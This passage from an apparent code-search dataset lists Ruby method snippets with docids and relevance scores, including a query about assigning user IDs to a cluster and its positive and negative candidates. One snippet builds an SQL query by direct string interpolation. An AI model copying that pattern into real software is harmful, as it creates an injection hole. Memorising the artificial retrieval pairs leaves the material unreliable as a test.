"text": "def get_image_by_uuid\n @command = :get_image_by_uuid\n # the UUID was the last \"previous argument\"\n image_uuid = @prev_args.peek(0)\n # setup the proper URI depending on the options passed in\n uri = URI.parse(@uri_string + '/' + image_uuid)\n # and get the results of the appropriate RESTful request using that URI\n result = hnl_http_get(uri)\n # finally, based on the options selected, print the results\n print_object_array(hash_array_to_obj_array([result]), \"Image:\")\n end",
"title": ""
},
{
"docid": "f3124ba0db9c9b995d827c1dd6c82c08",
"score": "0.54814345",
"text": "def build_image dockerfile_dir, name\n ::Docker.options = {:read_timeout => 6200}\n begin\n ::Docker::Image.build_from_dir(dockerfile_dir, {:t => name}) do |v|\n data = /{\"stream.*:\"(.*)\".*/.match(v)\n data = data[1].encode(Encoding.find('UTF-8'), {invalid: :replace, undef: :replace, replace: ''}) unless data == nil || data.length < 1\n $stdout.puts data unless data == nil\n end\n rescue => e\n @logger.error e\n message = /.*{\"message\":\"(.*?)\"}/.match(e.to_s)\n @logger.error \"Error: #{message[1]}\" unless message == nil || message.length < 1\n end\n end",
"title": ""
},
{
"docid": "f2927bff3ff0584a27387928e25dfd8a",
"score": "0.5478852",
"text": "def image_name\n image.try(:name)\n end",
"title": ""
},
{
"docid": "fb2c288e30083cc4db6f7ed0d6961855",
"score": "0.547801",
"text": "def container_id\n if !params[:container_id].nil?\n return params[:container_id]\n else\n return params[:id]\n end\n end",
"title": ""
},
{
"docid": "6e9f47b65b119c84236a3d7a0f5487d4",
"score": "0.5475141",
"text": "def public_id\n # return \"Image/\" + Cloudinary::Utils.random_public_id\n \"Image/#{model.food_key}\"\n end",
"title": ""
},
{
"docid": "3d499982f82d76ba55f96c82840ed028",
"score": "0.54677176",
"text": "def image_uid\n @dicom_image_uid || @image_uid\n end",
"title": ""
},
{
"docid": "d82b8dff01544d463ffbd29b31a93cfe",
"score": "0.5449045",
"text": "def repository_name_from_id(id)\n unless name = @repository_cache[id]\n data = gh_client.repository(id)\n \n @repository_cache[id] = data[\"full_name\"]\n name = data[\"full_name\"]\n end\n name\n end",
"title": ""
},
{
"docid": "1ca0eb736b103fb0d4739f5b994a30c1",
"score": "0.5445991",
"text": "def image_asset_id\n item_code_name_cd&.delete('IMG_').to_i\n end",
"title": ""
},
{
"docid": "a33b4f47d25e6e78bc8b88313f6126ad",
"score": "0.5444127",
"text": "def image_name\n boot_disk = disks.first\n unless boot_disk.is_a?(Disk)\n source = boot_disk[:source]\n match = source.match(%r{/zones/(.*)/disks/(.*)$})\n boot_disk = service.disks.get(match[2], match[1])\n end\n boot_disk.source_image.nil? ? nil : boot_disk.source_image\n end",
"title": ""
},
{
"docid": "064f8342c9b48930a154eaae7f095551",
"score": "0.5441514",
"text": "def default_container_name\n full_release_name.gsub('_', '-')\n end",
"title": ""
},
{
"docid": "dd01f41d90d408e704fc8fd0fc1beb42",
"score": "0.544033",
"text": "def fedora_name\n 'image_file'\n end",
"title": ""
},
{
"docid": "499ce9be0c1b3007dc0108263886ea95",
"score": "0.5439566",
"text": "def image_name(extension = true)\n if @image_name.nil? and self.type == LAYER_NORMAL\n name = \"#{self.uid}.png\"\n else\n name = @image_name\n end\n\n if extension\n name\n else\n name.sub(\".png\", \"\")\n end\n end",
"title": ""
},
{
"docid": "c621c1d28fc8146e9938043ba79c9ea0",
"score": "0.5436076",
"text": "def imageNamed(name)\n sugarcube568_imageNamed(name) || imageNamed_old(name)\n end",
"title": ""
},
{
"docid": "37bef8fa19eefa10470c7ef0d572042a",
"score": "0.54335374",
"text": "def image_format_query(name, return_full = false)\n imgs = ImageFormat.where(name: name)\n img = (imgs.count.eql? 1) ? imgs.first : nil\n return (img and not return_full) ? img.id : img\n end",
"title": ""
},
{
"docid": "ff5e18307e265d0be85a8cd9a1c778ad",
"score": "0.54211277",
"text": "def get_image_name(index)\n index_string = format('%03d', index)\n image_name = DRAW_LINE_FILE_NAME_PREFIX + index_string + JPG_FILE_SUFFIX\n image_name\n end",
"title": ""
},
{
"docid": "654f1e6d48244ce48a45d26c8bf5d9fa",
"score": "0.5417685",
"text": "def image_name\n @image_name || image_bundle.image_name\n end",
"title": ""
},
{
"docid": "b42ad1f2f17d417c34eb440462f4a93a",
"score": "0.54175854",
"text": "def image_filename\n File.join Img_Store, \"#{id}.#{extension}\"\n end",
"title": ""
},
{
"docid": "8503eb6e78cb164603845581f0618933",
"score": "0.54147285",
"text": "def image_by_id(image_id)\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Picking image ID #{image_id.inspect} from pool\"\n images.select { |image| image[:id] == image_id.to_i }.first\n end",
"title": ""
},
{
"docid": "cbaf6fbe0c926b8f7199ac37de60e6fe",
"score": "0.5413516",
"text": "def id_for_assets\n name\n end",
"title": ""
},
{
"docid": "e4dc3f9021e5a543f92ab6fbabc72a40",
"score": "0.53980017",
"text": "def docker_version() ; info[:docker_version] ; end",
"title": ""
},
{
"docid": "b30e73c5a83592e3375bef350e70ced7",
"score": "0.5381224",
"text": "def decode_image_name(image_name)\n client_id, current_message, new_letter = image_name.split('_')\n { client_id: client_id, current_message: current_message, new_letter: new_letter }\n end",
"title": ""
},
{
"docid": "d7775205fa4910627e54676a5812ff6c",
"score": "0.53779894",
"text": "def service_image(name, size = 24)\n %Q{/images/service_icons/#{size}/#{name}}\n end",
"title": ""
},
{
"docid": "3233272331ed5e73fb9cb17bc3a7f2bc",
"score": "0.5371978",
"text": "def id\n \"#{kind}_#{@id}\"\n end",
"title": ""
},
{
"docid": "3233272331ed5e73fb9cb17bc3a7f2bc",
"score": "0.5371978",
"text": "def id\n \"#{kind}_#{@id}\"\n end",
"title": ""
},
{
"docid": "6014d4968ebac116e7d64ea259714591",
"score": "0.5370553",
"text": "def get_image(image_name)\n image_service = client.vm_image_management\n image = image_service.list_virtual_machine_images.select { |x| x.name.casecmp(image_name.to_s) == 0 }.first\n Azure::Loggerx.error_with_exit 'The virtual machine image source is not valid.' unless image\n image\n end",
"title": ""
},
{
"docid": "943403f8f3fd7f4010fe77e1d5669b54",
"score": "0.5356962",
"text": "def get_summoner_image(name)\n begin\n query_string = \"SELECT id FROM summoners WHERE name = '#{name}'\"\n query = @@db.query(query_string)\n link = []\n img = query.first['id'].to_s + \".png\"\n return img\n end\n end",
"title": ""
}
] |
a14d8df226b22026b557857aacdd494a
|
Assign multiple userIDs to a cluster.
|
[
{
"docid": "a74d5694f563b27936aa31b75bdbb506",
"score": "0.7672399",
"text": "def assign_user_ids(user_ids, cluster_name, opts = {})\n @transporter.write(:POST, '/1/clusters/mapping/batch', { cluster: cluster_name, users: user_ids }, opts)\n end",
"title": ""
}
] |
[
{
"docid": "0b06aeb28219f54cf819379cd04c4f05",
"score": "0.6837575",
"text": "def cluster_ids=(ids)\n ids.each do |cluster_id|\n cluster = Cluster.find cluster_id\n self.nodes << cluster.nodes\n end\n end",
"title": ""
},
{
"docid": "90d4042f2da4a3ca7d4bd586c108d0da",
"score": "0.6110846",
"text": "def add_users(ids)\n\t\t self.shared_users = ids.split(\",\").map do |id|\n \t\tUser.where(id: id.strip).first_or_create!\n \tend\n\tend",
"title": ""
},
{
"docid": "05039b0f695e68d8e6214be8b61acb38",
"score": "0.6106735",
"text": "def cluster_assignment(cluster_id)\n cluster = Cluster.find(cluster_id)\n clusterusers = cluster.all_lawfirm_users\n for lwfusers in clusterusers\n livian_user_mapped = Physical::Liviaservices::ServiceProviderEmployeeMappings.find_by_employee_user_id_and_service_provider_id(lwfusers.user_id,self.id)\n unless livian_user_mapped\n Physical::Liviaservices::ServiceProviderEmployeeMappings.create(:service_provider_id => self.id, :employee_user_id => lwfusers.user_id, :status => 1, :priority => nil)\n lawfirm_user_subproducts = lwfusers.user.subproduct_assignments\n lawfirm_user_subproducts.each do |subproduct|\n SubproductAssignment.create(:user_id => self.user_id, :subproduct_id => subproduct.subproduct_id, :employee_user_id => lwfusers.user_id, :product_licence_id => subproduct.product_licence_id, :company_id => lwfusers.company_id)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "600029ff8311de58240075dbbb430c81",
"score": "0.59769607",
"text": "def users=(user_ids)\n self.users.delete_all # Not very pretty\n user_ids.each do |user_id|\n self.users << User.find(user_id) unless user_id.blank?\n end\n end",
"title": ""
},
{
"docid": "ad75cf432f062dcdf9bc81626bfa0c8a",
"score": "0.5971979",
"text": "def add_users_to_cc_list(user_ids)\n user_ids.each { |id| self.users << User.find(id) }\n self.save\n end",
"title": ""
},
{
"docid": "e5ae6a647696373cb89e40d7470889d2",
"score": "0.5963574",
"text": "def assign_user_id(user_id, cluster_name, opts = {})\n request_options = symbolize_hash(opts)\n request_options[:headers] = { 'X-Algolia-User-ID': user_id }\n\n @transporter.write(:POST, '/1/clusters/mapping', { cluster: cluster_name }, request_options)\n end",
"title": ""
},
{
"docid": "22895e4eca7fb1698ed466eb0903f193",
"score": "0.58993256",
"text": "def add_users_to_team(users, access_role)\n add_users_ids_to_team(users.map(&:id), access_role)\n end",
"title": ""
},
{
"docid": "b8a27dfa5efe589ec18520abbaee0ff0",
"score": "0.5855752",
"text": "def user_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.users = Incline::User.where(id: values).to_a\n end",
"title": ""
},
{
"docid": "5f514115831b15e86a69dcd629f56273",
"score": "0.58023864",
"text": "def set_users\n\n end",
"title": ""
},
{
"docid": "e828b68fae8e32fa559ce13abe41e837",
"score": "0.5790789",
"text": "def assign_tenants_to_circle(args = {}) \n body_put(\"/tenantcircles.json/tenants/#{args[:circleId]}\", args[:array_of_ids])\nend",
"title": ""
},
{
"docid": "dee262df22741393fc6395943d75648e",
"score": "0.57269853",
"text": "def users=(params)\n @users = params.values.map { |r| UserImport::User.new(r.values) }\n end",
"title": ""
},
{
"docid": "b8910fa4b13355b76e24228b6c77987b",
"score": "0.5705771",
"text": "def add_existing_users(users)\n users.map do |user|\n @current_course.course_users.build(user: user[:user], name: user[:name],\n workflow_state: :approved, creator: @current_user,\n updater: @current_user)\n end\n end",
"title": ""
},
{
"docid": "864d852ab36f83077e699331115c2a33",
"score": "0.56557864",
"text": "def move_users_to_group(group_id, arr_of_user_ids)\n arr_of_user_ids.each { |id|\n populate_group = HTTParty.post(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/memberships\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" },\n body: {\n user_id: id\n } \n )\n }\nend",
"title": ""
},
{
"docid": "fe4b12cbdaf2d61ea043f466103c65f7",
"score": "0.5630562",
"text": "def process_users(users)\n users.each do |element|\n user = User.new(element, @bot)\n @users[user.id] = user\n end\n end",
"title": ""
},
{
"docid": "084a88fc28fdaee4c956dee6d1540280",
"score": "0.5623591",
"text": "def add_users_ids_to_team(users_ids, access_role)\n UsersProject.bulk_import(self, users_ids, access_role)\n self.update_repository\n end",
"title": ""
},
{
"docid": "5f1674d4e947e30199298592ecf9a675",
"score": "0.5616209",
"text": "def add_existing_users(users)\n users.map do |user|\n @current_course.course_users.build(user: user[:user], name: user[:name],\n creator: @current_user,\n updater: @current_user)\n end\n end",
"title": ""
},
{
"docid": "bdefd6e5f79cb761ebbcc3b0d2b0aa91",
"score": "0.554517",
"text": "def users=(array)\r\n ids = array.map(&:id)\r\n UserAccess.where(['user_accesses.access_id = ? AND user_accesses.user_id NOT IN (?)', self.id, ids]).select(:id).each(&:destroy)\r\n user_access_ids = UserAccess.all(:conditions => {:access_id => self.id, :user_id => ids}, :select => 'user_id').map(&:user_id)\r\n (ids - user_access_ids).each{|i|\r\n UserAccess.create(:access_id => self.id, :user_id => i)\r\n }\r\n self.users.reload\r\n end",
"title": ""
},
{
"docid": "57f201a9bb52dcae47d86490284f4cb5",
"score": "0.55127686",
"text": "def update_users_ids_to_role(users_ids, access_role)\n UsersProject.bulk_update(self, users_ids, access_role)\n self.update_repository\n end",
"title": ""
},
{
"docid": "29b77c4f494f7f597e16fc5a29ee2d5e",
"score": "0.5508641",
"text": "def bulk_update(users = [])\n Iterable.request(conf, '/users/bulkUpdate').post(users: users)\n end",
"title": ""
},
{
"docid": "afa85e5833e7c66180ecf45b38a803fb",
"score": "0.55063236",
"text": "def users=(users_hash)\n client_principal.users = Hash[users_hash.map { |k, v| [k, v.sort] } ]\n end",
"title": ""
},
{
"docid": "5b8eae4bcb06b9f67e8dfd99f2256a8d",
"score": "0.54705656",
"text": "def set_nodegroup_node_assignments(nodes, nodegroups, login, password_callback=PasswordCallback)\n node_ids = []\n nodes.each_pair do |node_name, node|\n if node['id']\n node_ids << node['id']\n else\n warn \"set_nodegroup_node_assignments passed a bogus nodes hash, #{node_name} has no id field\"\n end\n end\n\n nodegroupdata = {}\n node_ids = 'nil' if node_ids.empty?\n nodegroupdata['node_group_node_assignments[nodes][]'] = node_ids\n\n set_objects('node_groups', nodegroups, nodegroupdata, login, password_callback)\n end",
"title": ""
},
{
"docid": "18b3ef94a7b05602441e35db062873d1",
"score": "0.54564995",
"text": "def publish_to(*user_ids)\n @users_to_notify += user_ids\n end",
"title": ""
},
{
"docid": "bacda40890ca56b74cfb74c776a37301",
"score": "0.54252404",
"text": "def add_users(users)\n users.each do |user|\n @users.push(user)\n end\n end",
"title": ""
},
{
"docid": "0e1864cbebae92d2bfd5e1983841bc93",
"score": "0.5420896",
"text": "def set_nodes(nodeids)\n # Have to be careful here to handle existing virtual assignments\n # properly. If the user has specified a new node and there's an\n # existing virtual assignment we need to convert that into a real\n # assignment. And when removing nodes that the user didn't\n # specify we don't want to remove virtual assignments.\n \n # First ensure that all of the specified assignments exist\n new_assignments = []\n nodeids.each do |nodeid|\n node = Node.find(nodeid)\n if !node.nil?\n assignment = NodeGroupNodeAssignment.find_by_node_group_id_and_node_id(id, nodeid)\n if assignment.nil?\n assignment = NodeGroupNodeAssignment.new(:node_group_id => id,\n :node_id => nodeid)\n new_assignments << assignment\n elsif assignment.virtual_assignment?\n assignment.update_attributes(:virtual_assignment => false)\n end\n end\n end\n \n # Save any new assignments\n node_assignment_save_successful = true\n new_assignments.each do |assignment|\n if !assignment.save\n node_assignment_save_successful = false\n # Propagate the error from the assignment to ourself\n # so that the user gets some feedback as to the problem\n assignment.errors.each_full { |msg| errors.add(:node_ids, msg) }\n end\n end\n \n # Now remove any existing assignments that weren't specified\n node_group_node_assignments.each do |assignment|\n if !nodeids.include?(assignment.node_id) && !assignment.virtual_assignment?\n assignment.destroy\n end\n end\n \n node_assignment_save_successful\n end",
"title": ""
},
{
"docid": "77029986784307ad5c00877216ea51f8",
"score": "0.5412053",
"text": "def list_user_ids(opts = {})\n @transporter.read(:GET, '/1/clusters/mapping', {}, opts)\n end",
"title": ""
},
{
"docid": "ccd60bbd2f91d0f2b23172fb4feb8e25",
"score": "0.5374625",
"text": "def userids(*values)\n values.inject(self) { |res, val| res._userids(val) }\n end",
"title": ""
},
{
"docid": "9f4224364097af363dc23ab52b892b98",
"score": "0.5358837",
"text": "def make_assignments(assigned_users)\n assigned_users.each do |user|\n existing_assignment = Assignment.find_by_user_id_and_question_id(user.id,self.id)\n Assignment.create(:user_id => user.id , :question_id => self.id)if existing_assignment == nil\n end \n end",
"title": ""
},
{
"docid": "62d459d4e031f4957aea32e855cba81e",
"score": "0.5352449",
"text": "def users=(value)\n @users = value\n end",
"title": ""
},
{
"docid": "3445bb319cd334b93c2976d025fc22e8",
"score": "0.53322476",
"text": "def setup_uids uids\n uids = uids.split unless uids.is_a?(Array) || uids.is_a?(Hash)\n\n # Persist the UIDs\n uids.each do |uid|\n social_segment = SocialSessionSegment.find_or_create_by({id_on_social:uid})\n self.social_session_segments << social_segment\n end\n end",
"title": ""
},
{
"docid": "037164ac002b91e7d4c76487492ddccc",
"score": "0.5315005",
"text": "def set_users\n @can_change_owner = policy(@run || Run).current_user_allowed_to_crud?\n @users = policy_scope(User).map{|u| [ u.name, u.id ] } if @can_change_owner\n end",
"title": ""
},
{
"docid": "5bfe177a991e41e552f6ac3f20bc3894",
"score": "0.5277305",
"text": "def load_users\n user_set = Set[]\n @users_config.each_key do |provider|\n @users_config[provider].each do |a|\n add_user(a, user_set, provider)\n end\n end\n add_users_to_group(user_set)\n end",
"title": ""
},
{
"docid": "63041f2890fcf4619a47d43bc61f5057",
"score": "0.52658314",
"text": "def assign_memberships_to_user!\n\t\tif self.user\n\t\t\tself.memberships.each do |membership|\n\t\t\t\tunless membership.user == self.user\n\t\t\t\t\tmembership.user = nil\n\t\t\t\t\tself.user.memberships << membership\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b2ec44ff793b0fe7f2aca56a07de22fb",
"score": "0.5245073",
"text": "def set_users\n if is_event_creator\n @user_1 = event_creator\n @user_2 = participant\n else\n @user_1 = participant\n @user_2 = event_creator\n end\n end",
"title": ""
},
{
"docid": "896684e0c15cd8e501cf5e0b783e4b5b",
"score": "0.52401793",
"text": "def perform(discord_user_ids)\n @discord_user_ids = discord_user_ids\n\n discord_user_ids.each do |user_id|\n Redis.current.set(\"user-present-#{user_id}\", true, ex: EXPIRATION_TIMEOUT.to_i)\n end\n\n rerun_matching_auth_checks! do |matching_interaction_token|\n Redis.current.set(\"presence-checked-interaction-#{matching_interaction_token}\", true,\n ex: EXPIRATION_TIMEOUT.to_i)\n end\n end",
"title": ""
},
{
"docid": "84f50c53179f49faf353dbf920fd713c",
"score": "0.5236646",
"text": "def add_node_group_node_assignments(nodes, nodegroups, login, password_callback=PasswordCallback)\n nodegroups.each do |nodegroup_name, nodegroup|\n nodes.each do |nodename, node|\n add_node_group_node_assignment(node['id'], nodegroup['id'], login, password_callback)\n end\n end\n end",
"title": ""
},
{
"docid": "bf7bb5b18f4dcda0874b1b69d27a0789",
"score": "0.52308106",
"text": "def assign_roles\n roles_map.each do |role_obj|\n Authentication::Account.find_by_email(role_obj['email']).update_attributes(roles: role_obj['roles'])\n end\n end",
"title": ""
},
{
"docid": "f7ced9afb2678e9e3b30d373ee32fcf2",
"score": "0.52251077",
"text": "def assigning_tutor\n unless params[:student_ids].empty?\n @students = Student.where(id: params[:student_ids])\n tutor = User.find(params[:user_id])\n\n @students.each do |s|\n s.assign_tutor(tutor)\n end\n message = {message: @students.size.to_s + ' students have been assigned a new tutor.'}\n else\n message = {message: 'No student ids were received.'}\n end\n render json: message\n end",
"title": ""
},
{
"docid": "2061710da3b6a8f99dbcf939cb10a3ca",
"score": "0.5213827",
"text": "def process_mass_join(message)\n channel = message.channel\n /:(?<user_list>.+)/ =~ message.payload\n user_list.split.each do |user|\n channel.users[user] = User.new user unless channel.users.key? user\n end\n end",
"title": ""
},
{
"docid": "ca6f19c9b11fd6bb40ba6f4bf4a4ec7f",
"score": "0.5203899",
"text": "def discover_users=(users)\n set_discover_users(users, discover_users)\n end",
"title": ""
},
{
"docid": "c3c8e20fc1e491548c0b4e012ed11767",
"score": "0.52036875",
"text": "def set_conservative_caucus_members\n caucus_members = get_conservative_caucus_members\n conservative_caucus_group_id = 965\n\n caucus_members.each do |sf_user|\n user_id = sf_user.SWC_User_ID__c.to_i.to_s\n response = api.post(endpoint: \"groups/#{conservative_caucus_group_id}/members\", data: { userId: user_id })\n LOG.info(\"sf_it: #{user_id}, group_id: #{conservative_caucus_group_id}, res: #{response.to_s.delete(\"\\n\").strip}\")\n end\n end",
"title": ""
},
{
"docid": "40d5d16b60580b7687e5c55008ff3208",
"score": "0.5198199",
"text": "def batch_create\n email_list = params[:email_list].split\n @university = current_user.university\n @department = current_user.department\n\n email_list.each do |email|\n # Generate a password and create the user\n generated_password = Devise.friendly_token.first(8)\n user = User.new(:email => email, :password => generated_password, :role => params[:role])\n\n if user.save\n @university.users << user\n @department.users << user\n record_activity(\"created new user (batch): \" + user.email)\n # Send an email with generated password to the user\n UserMailer.welcome_email(user).deliver\n else\n record_activity(\"Failed - created new user (batch): \" + email)\n end\n end\n\n redirect_to users_path\n end",
"title": ""
},
{
"docid": "9f2658c9e61e1e010bcdc62eddaf9ea6",
"score": "0.5191192",
"text": "def user_tokens=(ids)\n self.user_ids = ids.split(\",\")\n end",
"title": ""
},
{
"docid": "35a3dffaf61a7350af5db162c9106db3",
"score": "0.517579",
"text": "def assign_task_list\n @user = User.find(params[:user_id])\n params[:task_list].split(\",\").each do |task_list|\n @assign_task = TaskListManagement.assign_task_list(@user.id,task_list)\n end\n redirect_to(@user)\n end",
"title": ""
},
{
"docid": "c9c3249ee678b28f8195438ca5d7d9e5",
"score": "0.5172375",
"text": "def assign_doc_to_clusters(document, clusters)\n clusters.each do |cluster|\n cluster.add_document(document)\n end\n end",
"title": ""
},
{
"docid": "3d5a473645d1ba31076779b4084d6292",
"score": "0.51538056",
"text": "def followers(user_ids)\n users = []\n user_ids.each do |user_id| \n user = Hashie::Mash.new\n user.user_id = user_id\n\n users << user\n end\n \n users \nend",
"title": ""
},
{
"docid": "0ec5f947db2559ca718140d6b192de3f",
"score": "0.5150396",
"text": "def get_set_of_user_ids(arr_of_user_names)\n set_of_user_ids = Set.new\n\n arr_of_user_names.each { |name|\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/users\"\n puts \"@url is #{@url}\"\n \n @payload={'search_term': name}\n puts(\"@payload is #{@payload}\")\n \n @getResponse = HTTParty.get(@url, :body => @payload.to_json, :headers => $header)\n puts(\" GET to get user has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n user_data = @getResponse.parsed_response\n \n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end\n }\n \n return set_of_user_ids\nend",
"title": ""
},
{
"docid": "76cbfde664a6f25f95dcb574889a5403",
"score": "0.51484835",
"text": "def update\n\n available_users\n \n #assign users to mission\n if params[:user_ids].present?\n user = params[:user_ids].delete_if{ |x| x.empty? }\n @mission.users = []\n @mission.users << User.find(params[:user_ids]) \n end\n respond_to do |format|\n if @mission.update(mission_params)\n format.html { redirect_to [:admin, @mission], notice: 'Mission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "24cb97e2d7cf455826504fb38f271186",
"score": "0.5129819",
"text": "def friends(user_ids)\n users = []\n user_ids.each do |user_id| \n user = Hashie::Mash.new\n user.user_id = user_id\n\n users << user\n end\n \n users\nend",
"title": ""
},
{
"docid": "741277d64ccef5331bcee42d12c14cd7",
"score": "0.5122411",
"text": "def assign_roles_to_players(players={})\n roles.keys.each do |rolekey|\n assign_role_to_player(rolekey, players[rolekey])\n end\n end",
"title": ""
},
{
"docid": "62ec533d6da27f3e2c87f2baf308aea0",
"score": "0.5109641",
"text": "def set_discover_users(users, eligible_users)\n set_entities(:discover, :person, users, eligible_users)\n end",
"title": ""
},
{
"docid": "fef715d85eb116daf6412cbc16dec25d",
"score": "0.5097219",
"text": "def initialize(user_ids)\n @user_ids = user_ids\n end",
"title": ""
},
{
"docid": "1ffa85e6e77f65914c69bbf27ffa3550",
"score": "0.50958467",
"text": "def assign_to(*users)\n users.flatten.each do |user|\n expense = self.dup\n expense.tags = self.tags.dup\n user.add_debt(expense)\n end\n end",
"title": ""
},
{
"docid": "747a54f4c2a333278053b527972a2c6b",
"score": "0.508761",
"text": "def users_attributes=(users_attributes)\n admin_ids = []\n users_attributes.values.each do |user_attribute|\n if user_attribute.values[1] == \"1\"\n admin_ids << user_attribute.values[0].to_i\n end\n end\n join_entries = ListsUser.jointables(self.id)\n join_entries.each do |entry|\n if admin_ids.include?(entry.user_id)\n entry.update(admin: true)\n else\n entry.update(admin: false)\n end\n end\n end",
"title": ""
},
{
"docid": "0d88a1053d2a300775ddf0ae3d95fc57",
"score": "0.50862426",
"text": "def set_participant_ids\n self.participant_ids = []\n self.participant_ids << user_id.to_s\n end",
"title": ""
},
{
"docid": "07e84df0a59dbc550f4f8797dbf695f4",
"score": "0.5082284",
"text": "def add_nodes_to_nodegroups(nodes, nodegroups, login, password_callback=PasswordCallback)\n # The server only supports setting a complete list of members of\n # a node group. So we need to retreive the current list of members\n # for each group, merge in the additional nodes that the user wants\n # added, and pass that off to set_nodegroup_assignments to perform\n # the update.\n # FIXME: This should talk directly to the node_group_node_assignments\n # controller, so that we aren't exposed to the race conditions this\n # method currently suffers from.\n nodegroups.each_pair do |nodegroup_name, nodegroup|\n # Use a hash to merge the current and new members and\n # eliminate duplicates\n merged_nodes = nodes.clone\n nodegroup[\"nodes\"].each do |node|\n name = node['name']\n merged_nodes[name] = node\n end\n set_nodegroup_node_assignments(merged_nodes, {nodegroup_name => nodegroup}, login, password_callback)\n end\n end",
"title": ""
},
{
"docid": "88f7db826671deb5556e885aa4295b73",
"score": "0.5077322",
"text": "def move_users_to_group(group_id, set_of_user_ids)\n set_of_user_ids.each do |id|\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/memberships\"\n puts \"@url is #{@url}\"\n \n @payload={'user_id': id}\n puts(\"@payload is #{@payload}\")\n \n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to move user to group has Response.code #{@postResponse.code} and postResponse is #{@postResponse}\")\n end\nend",
"title": ""
},
{
"docid": "7bfbf13bdda653420ce7efcc794651a1",
"score": "0.5076047",
"text": "def to_users\n message = AssignTasksToUsers.new(params).perform\n json_response({message: message}, :created)\n end",
"title": ""
},
{
"docid": "a0e0edeb2161359e713d279629069190",
"score": "0.50759214",
"text": "def set_tag_ids nids\n # Ensure that the user's tags are all and only those in nids\n oids = tagging_tags.pluck :id\n\n # Add new tags as necessary\n (nids - oids).each { |tagid| assert_tagging tagid, @tagging_user_id }\n\n # Remove tags as nec.\n (oids - nids).each { |tagid| refute_tagging tagid, @tagging_user_id }\n end",
"title": ""
},
{
"docid": "cd9143b2e1f8119d99e9403a5e2ca954",
"score": "0.50727564",
"text": "def set_users_roles(list, role_list = roles)\n list.map do |user_hash|\n user = user_hash[:user]\n roles = user_hash[:role] || user_hash[:roles]\n {\n :user => user,\n :result => set_user_roles(user, roles, role_list)\n }\n end\n end",
"title": ""
},
{
"docid": "60d2948d104f115b6843db98bbad2cc8",
"score": "0.50648403",
"text": "def users=(people)\n set_user_with_role(:responsible, people)\n end",
"title": ""
},
{
"docid": "9528e56dbeea2a49816114643a99a8e2",
"score": "0.5062175",
"text": "def add_to_user_event_lists(user_list)\n\t\tuser_list.each do |users_id| \n\t\t\tuser = User.find(users_id)\n\t\t\tuser.add_event(self.id)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "00bb66a74e382fc7b35ff876814c7955",
"score": "0.5057809",
"text": "def role_ids_with_add_user_role=(_role_ids)\n _role_ids ||= []\n _role_ids << Role.by_name(:user).id\n self[:role_ids] = _role_ids\n self.role_ids_without_add_user_role = _role_ids\n end",
"title": ""
},
{
"docid": "00bb66a74e382fc7b35ff876814c7955",
"score": "0.5057809",
"text": "def role_ids_with_add_user_role=(_role_ids)\n _role_ids ||= []\n _role_ids << Role.by_name(:user).id\n self[:role_ids] = _role_ids\n self.role_ids_without_add_user_role = _role_ids\n end",
"title": ""
},
{
"docid": "c27314f5d14030fd6c3aa309cbd8a361",
"score": "0.50572807",
"text": "def set_members(key)\n timeout_retry(3, 3){\n write \"SMEMBERS #{key}\\r\\n\"\n Set.new(multi_bulk_reply)\n }\n end",
"title": ""
},
{
"docid": "783ff67d1489f3dc00e6071a6e5be066",
"score": "0.5047921",
"text": "def assign_role(attrs = {})\n attrs.merge!(user_id: id)\n client.assign_role(attrs)\n end",
"title": ""
},
{
"docid": "783ff67d1489f3dc00e6071a6e5be066",
"score": "0.5047921",
"text": "def assign_role(attrs = {})\n attrs.merge!(user_id: id)\n client.assign_role(attrs)\n end",
"title": ""
},
{
"docid": "d662033b71b4ce10f33d50ab76d5356d",
"score": "0.50447744",
"text": "def casespace_seed_config_add_users(config)\r\n users = [config[:users]].flatten.compact\r\n return if users.blank?\r\n seed_config_message('++Adding seed config users.', config)\r\n users.each do |hash|\r\n casespace_seed_config_add_user(hash)\r\n end\r\nend",
"title": ""
},
{
"docid": "b0cc4ca7ae0d28d1fadbfce7ff1116fa",
"score": "0.503797",
"text": "def check_and_assign_shared_ids_to_shared_folders\n #First checking if the new user's email exists in any of SharedFolder records\n shared_folders_with_same_email = SharedFolder.find_all_by_shared_email(self.email)\n\n if shared_folders_with_same_email\n # Loop and update the shared user id with this new user id\n shared_folders_with_same_email.each do |shared_folder|\n shared_folder.shared_user_id = self.id\n shared_folder.save\n end\n end\n end",
"title": ""
},
{
"docid": "f0aad45bcf041b9d2c99e9a1b80a6d2e",
"score": "0.5034388",
"text": "def reassign_task\n clusters = @task.receiver.clusters\n users = []\n set_default_task_data(@task)\n if @back_office_task\n users = Cluster.get_back_office_cluster_livians\n else\n users = User.all_cluster_livian(clusters)\n end\n if @task.work_subtype && @back_office_task\n differentiat_users_on_skills(users, @task.work_subtype, @task.work_subtype_complexity)\n elsif @task.work_subtype\n differentiat_users_on_skills(users, @task.work_subtype)\n else\n @users_select = [[\"no skilled user\",\"\"],[\"-------Other Users-------\",\"\"]]\n @users_select += users.collect {|u| [ u.full_name, u.id ]}\n end\n render :layout=> false\n end",
"title": ""
},
{
"docid": "ec72af7856a5ca99ace94e22fe5fc1d4",
"score": "0.503368",
"text": "def add_user_ids(user_ids) # :nodoc:\n user_ids.each do |id|\n @context.add_user(:id => id) unless @context.users[id]\n end\n end",
"title": ""
},
{
"docid": "3fefb2fb4d1372ed233b71f0b57cb70a",
"score": "0.5019068",
